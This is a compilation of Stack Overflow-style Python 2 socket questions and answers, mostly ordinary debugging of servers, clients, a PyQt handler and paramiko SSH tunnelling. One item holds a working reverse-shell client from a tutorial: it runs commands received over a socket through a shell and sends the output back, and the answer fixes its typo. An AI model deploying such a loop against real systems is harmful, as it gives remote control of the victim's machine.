with conn: AttributeError: __exit__ when using socket to receive message - python-2.7

I have a script, in python, that need to communicate with another script, in java, through socket, the python script will only receive messages and i'm using a library called mininet to do my stuff and apparently it cant run on python3 so i need to use python2. I currently use python2.7.15+
I searched on stack and i didn't find this problem in the context that i have, apparently the with statement don't implement a context manager and for some reason i need this on the socket fucntion (i'm very unfamiliar with python so if this situation is easily explained by a basic python knowledge forgive me)
def start_socket(self):
HOST = 'localhost'
PORT = 8888
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
#Bind socket to local host and port
try:
s.bind((HOST, PORT))
except socket.error as msg:
print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
print 'Socket bind complete'
#Start listening on socket
s.listen(10)
print 'Socket now listening'
while 1:
conn, addr = s.accept()
with conn:
print('Connected by', addr)
data = conn.recv(1024)
message = data.decode(encoding='UTF-8')
if (message == 'start7'):
topo_size = "7"
s.close()
elif (message == 'start6'):
topo_size = "6"
s.close()
elif (message == 'start5'):
topo_size = "5"
s.close()
elif (message == 'start4'):
topo_size = "4"
s.close()
elif (message == 'start3'):
topo_size = "3"
s.close()
elif (message == 'start2'):
topo_size = "2"
s.close()
elif (message == 'start1'):
topo_size = "1"
s.close()
break
This function is called on a main function that need to wait a order from the other script in java, and after determines what message is between this seven possible messages, he breaks and proceed with the code. The expected here is that it check what messages is and proceed with the code but what happening is: when the function is called the code blocks until receive a connection and when the other script connects, the python script throws an error saying that there's a problem with the line:
with conn:
The complete error is:
Socket created
Socket now listening
Traceback (most recent call last):
File "script_initial.py", line 669, in <module>
teste.run_topo()
File "script_initial.py", line 643, in run_topo
self.start_socket()
File "script_initial.py", line 584, in start_socket
with conn:
AttributeError: __exit__

In Python 2.7 the socket object does not support the context manager interface. You therefore cannot use the with statement with the socket object and have to explicitly call its close method after you're done using it.
Change:
conn, addr = s.accept()
with conn:
print('Connected by', addr)
data = conn.recv(1024)
...
to:
conn, addr = s.accept()
print('Connected by', addr)
data = conn.recv(1024)
...
conn.close()

Related

socket.send() is raising AttributeError: 'tuple' object has no attribute 'send'

I was developing a program that individual elements from the list to another machine (sender-server,reciever-client). I am sharing my program below
-------------------------client.py------------------------
import socket # Import socket module
s = socket.socket() # Create a socket object
host = socket.gethostname() # Get local machine name
port = 4444 # Reserve a port for your service.
s.connect((host, port))
s.send("Hi server1")
while True:
a=int(s.recv(1024))
tmp=0
while tmp<=a:
print s.recv(1024)
tmp=tmp+1
----------------------------------server.py------------------------------
import socket # Import socket module
s = socket.socket() # Create a socket object
host = socket.gethostname() # Get local machine name
port = 4444 # Reserve a port for your service.
s.bind((host, port)) # Bind to the port
s.listen(5)
print "Server listening"
while True:
c=s.accept()
b=['a','b']
d=len(b)
a=str(d)
c.send(a)
for i in range(0,len(b)):
tmp=str(b[i])
c.send(tmp)
When I run both server and client, the server raises this:
Traceback (most recent call last):
File "server.py", line 14, in <module>
c.send(a)
AttributeError: 'tuple' object has no attribute 'send'
You'll have to fix the indentation on line 11 of client.py.
socket.accept() returns a tuple (conn, addr) where conn is a socket object. You have to use that object in line 14 to send things. What you're doing is calling send() from the entire tuple which has no method named send and so the AttributeError gets raised. I'd suggest changing line 11 to c = s.accept()[0].

Python Client is unable to receive data sent from Python Server

I am trying to send some data from my python client to python server
I have followed this link
My python client code is as follows
#Socket client example in python
import socket #for sockets
import sys #for exit
#create an INET, STREAMing socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
print 'Failed to create socket'
sys.exit()
print 'Socket Created'
host = '10.4.1.25';
port = 80;
try:
remote_ip = socket.gethostbyname( host )
except socket.gaierror:
#could not resolve
print 'Hostname could not be resolved. Exiting'
sys.exit()
#Connect to remote server
s.connect((host , port))
print 'Socket Connected to ' + host + ' on ip ' + remote_ip
message = "16973"
try :
#Set the whole string
s.sendall(message)
except socket.error:
#Send failed
print 'Send failed'
sys.exit()
print 'Message send successfully'
#Now receive data
reply = s.recv(4096)
print reply
the python server code is
import socket
import sys
HOST = '' # Symbolic name meaning all available interfaces
PORT = 80 # Arbitrary non-privileged port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
try:
s.bind((HOST, PORT))
except socket.error , msg:
print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
print 'Socket bind complete'
s.listen(10)
print 'Socket now listening'
#wait to accept a connection - blocking call
conn, addr = s.accept()
print 'Connected with ' + addr[0] + ':' + str(addr[1])
#now keep talking with the client
data = conn.recv(1024)
conn.sendall(data)
conn.close()
s.close()
The Function sendall is used to send data to client , means when I enter the text in terminal on server I should see it on client as well. But this does not happen
The output which I get is
Server Output
$ python server.py
Socket created
Socket bind complete
Socket now listening
Connected with 10.4.1.255:44656
Client Output
$ telnet localhost 8888
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
I am unable to know what's going wrong here?
Also how can I send data (message) from Python Client to Python server??
Any help would be great !
Thanks!

socket client issue '__getitem__'

Hi there I was watching some tutorials about a Revers shell using python in youtube https://www.youtube.com/watch?v=-QMPYah8fWI&index=5&list=PL6gx4Cwl9DGCbpkBEMiCaiu_3OL-_Bz_8][1]
the purpose of this client is to receive command from the server , the server works great but when I ran the client it gave me this
File "/root/Desktop/Revers/client.py", line 15, in <module>
if data[:2].decode('utf-8') == "cd":
TypeError: 'module' object has no attribute '__getitem_
here is the code :
s = socket.socket()
s.connect((host, port))
while True:
date = s.recv(1024)
if data[:2].decode('utf-8') == "cd":
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes)
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
s.close()
There is a typo on this line:
date = s.recv(1024)
date instead of data.
So the expression data[:2] calls data.__getitem__ where data is defined before.
As the error about a 'module' object, I guess data is a module you importe before.

stopping execution of code in clean way python

I have a GUI created using PyQt. In the GUI their is a button which when pressed send some data to client. Following is my code
class Main(QtGui.QTabWidget, Ui_TabWidget):
def __init__(self):
QtGui.QTabWidget.__init__(self)
self.setupUi(self)
self.pushButton_8.clicked.connect(self.updateActual)
def updateActual():
self.label_34.setText(self.comboBox_4.currentText())
HOST = '127.0.0.1' # The remote host
PORT = 8000 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((displayBoard[str(self.comboBox_4.currentText())], PORT))
except socket.error as e:
err1 = str(self.comboBox_4.currentText()) + " is OFF-LINE"
reply2 = QtGui.QMessageBox.critical(self, 'Error', err1, QtGui.QMessageBox.Ok)
if reply2 == QtGui.QMessageBox.Ok:
pass #stop execution at this point
fileName = str(self.comboBox_4.currentText()) + '.txt'
f = open(fileName)
readLines = f.readlines()
line1 = int(readLines[0])
f.close()
Currently if a user clicks 'ok' in QMessageBox the program will continue code execution in case their is socket exception. Thus my question is how can I stop the execution of code after 'except' in a clean way such that my UI doesn't crash and user can continue using it?
Yes, you can simply return from the if block:
if reply2 == QtGui.QMessageBox.Ok:
return
Alternatively, move your code for when it doesn't raise socket.error into an else block:
try: # this might fail
s.connect(...)
except socket.error as e: # what to do if it fails
err1 = ...
reply2 = QtGui.QMessageBox.critical(...)
else: # what to do if it doesn't
with open(fileName) as f:
line1 = int(f.readline().strip())
Note that:
You don't actually need to deal with the return from the message box, as it could only be OK and you have no else option;
you should generally use with for file handling, it will automatically close at the end of the block; and
you can simplify your file handling code by only reading the first line.

Using paramiko to tunnel an MySql port when django starts

I am trying to connect to a remote MySql server from my local machine.
I want to run it whenever the DEBUG constant is set to true.
Here's the script:
import select
import SocketServer
import sys
import threading
import paramiko
SSH_PORT = 22
DEFAULT_PORT = 4000
g_verbose = True
class ForwardServer (SocketServer.ThreadingTCPServer):
daemon_threads = True
allow_reuse_address = True
class Handler (SocketServer.BaseRequestHandler):
def handle(self):
try:
chan = self.ssh_transport.open_channel('direct-tcpip',
(self.chain_host, self.chain_port),
self.request.getpeername())
except Exception, e:
verbose('Incoming request to %s:%d failed: %s' % (self.chain_host,
self.chain_port,
repr(e)))
return
if chan is None:
verbose('Incoming request to %s:%d was rejected by the SSH server.' %
(self.chain_host, self.chain_port))
return
verbose('Connected! Tunnel open %r -> %r -> %r' % (self.request.getpeername(),
chan.getpeername(), (self.chain_host, self.chain_port)))
while True:
r, w, x = select.select([self.request, chan], [], [])
if self.request in r:
data = self.request.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
self.request.send(data)
chan.close()
self.request.close()
verbose('Tunnel closed from %r' % (self.request.getpeername(),))
def forward_tunnel(local_port, remote_host, remote_port, transport):
# this is a little convoluted, but lets me configure things for the Handler
# object. (SocketServer doesn't give Handlers any way to access the outer
# server normally.)
class SubHander (Handler):
chain_host = remote_host
chain_port = remote_port
ssh_transport = transport
ForwardServer(('', local_port), SubHander).serve_forever()
def verbose(s):
if g_verbose:
print s
HELP = """\
Set up a forward tunnel across an SSH server, using paramiko. A local port
(given with -p) is forwarded across an SSH session to an address:port from
the SSH server. This is similar to the openssh -L option.
"""
def forward():
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
print 'connecting'
client.connect('*******', username='***', password='****!')
print 'connected'
except Exception, e:
print '*** Failed to connect to %s:%d: %r' % ('*****', 22, e)
sys.exit(1)
try:
forward_tunnel(3306, '127.0.0.1', 3306, client.get_transport())
except SystemExit:
print 'C-c: Port forwarding stopped.'
sys.exit(0)
I have two problems here:
1) I don't know how and when to call my forward function when django raises.
2) When I access django locally and run the script from the console I get the following exception:
exception happened during
processing of request from
('127.0.0.1', 41872) Traceback (most
recent call last): File
"/usr/lib/python2.6/SocketServer.py",
line 558, in process_request_thread
self.finish_request(request, client_address) File
"/usr/lib/python2.6/SocketServer.py",
line 320, in finish_request
self.RequestHandlerClass(request, client_address, self) File
"/usr/lib/python2.6/SocketServer.py",
line 615, in init
self.handle() File "/home/omer/Aptana Studio 3
Workspace/Website/src/ssh_tunnel/tunnel.py",
line 51, in handle
verbose('Tunnel closed from %r' % (self.request.getpeername(),)) File
"", line 1, in getpeername
File "/usr/lib/python2.6/socket.py",
line 165, in _dummy
raise error(EBADF, 'Bad file descriptor') error: [Errno 9] Bad file
descriptor
Was this a bad idea to begin with?
Should I do this manually every time?
I don't think it's a bad idea.
I don't think you need to do it manually.
The exception is a bug in paramiko's forward code sample. This has been addressed by jhalcrow in the pull request here:
https://github.com/paramiko/paramiko/pull/36
This post has some code to do it in a more event driven way, i.e if you wanted to call it via some web event hooks in your django code or the like:
Paramiko SSH Tunnel Shutdown Issue
humm, i didn't try this, but if you are on linux, could you run
ssh -L 3306:localhost:3306 remote.host.ip
through python system call when DEBUG is set?
also if you are on Windows, try putty with port forwarding